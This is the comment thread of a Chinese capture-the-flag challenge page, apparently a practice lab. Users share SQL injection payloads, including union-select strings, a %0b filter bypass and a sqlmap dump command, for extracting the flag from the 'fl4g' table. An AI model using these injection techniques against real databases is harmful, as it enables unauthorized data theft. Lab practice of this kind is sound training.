评分(25)
解题动态
zrlht 攻破了该题 14小时前
cykai999 攻破了该题 19小时前
小韩极客 攻破了该题 1天前
socratesx 攻破了该题 1天前
abc114514 攻破了该题 1天前
托尼二又二 攻破了该题 1天前
Anos 攻破了该题 1天前
EchoOfCloud 攻破了该题 1天前
majixikuwa 攻破了该题 2天前
五彩星云 攻破了该题 2天前
多米今天犯错了没 攻破了该题 2天前
sysgetshell 攻破了该题 2天前
倚楼叹世间 攻破了该题 2天前
hh_lll 攻破了该题 2天前
ciphercici 攻破了该题 2天前
18744838346 攻破了该题 2天前
霸气薛少 攻破了该题 4天前
苦味的辣条 攻破了该题 4天前
FreedomBK 攻破了该题 4天前
评论
xiaoxhw 3年前
举报
利用”不显示“代表”报错“
笨笨笨蛋 3年前
举报
我sqlmap进入fl4g后查看内容压根没有flag，可是手工注入又有了，这是为什么？求一个大佬解释一下
aWxvdmVjdGY 3年前
举报
fl4g 是db，然后找table，在找cloumns，最后dump
教练我要打亚索 3年前
举报
先猜一下字段，我也是没猜字段直接取数据 没取到，需要先取一下字段 然后再来取数据
笨笨笨蛋 3年前
举报
有大佬用sqlmap做的吗？我想看看sqlmap怎么做这个题目
摆烂选手 3年前
举报
@charonzzw 阿巴阿巴，摆烂选手大眼瞪小眼，咋搞啊。有没有会的，哭了
theonlypopcat 3年前
举报
sqlmap --url="http://靶场地址/index.php" --data="id=1" -D skctf -T fl4g -C skctf_flag --dump
charonzzw 3年前
举报
用burp去抓包 然后copy to flie 形成txt文件，sqlmap去运行这个包 然后依次查库 表 列就出flag了
秋刀鱼の丸 3年前
举报
1' and 1=2 union select 1,2,3,skctf_flag from fl4g#
jiangyou 3年前
举报
http://t.csdn.cn/GCIkY
Hobin 3年前
举报
一个sqlmap就能完美解决
MONSTEinCAT 3年前
举报
鸡你太美
阿厂 3年前
举报
哎呦你干嘛
肥肠粉 3年前
举报
小黑子，哥哥下的蛋你别吃
Sauexceed 3年前
举报
小黑子
yemur 4年前
举报
id=-1' union select 1,2,3,skctf_flag from fl4g#
lysandria 4年前
举报
过滤了一些东西，空格用%0b绕过。payload：id=-1' union%0bselect%0bgroup_concat(skctf_flag),2,3,4%0bfrom fl4g#
15338641414 4年前
举报
输入框的sql注入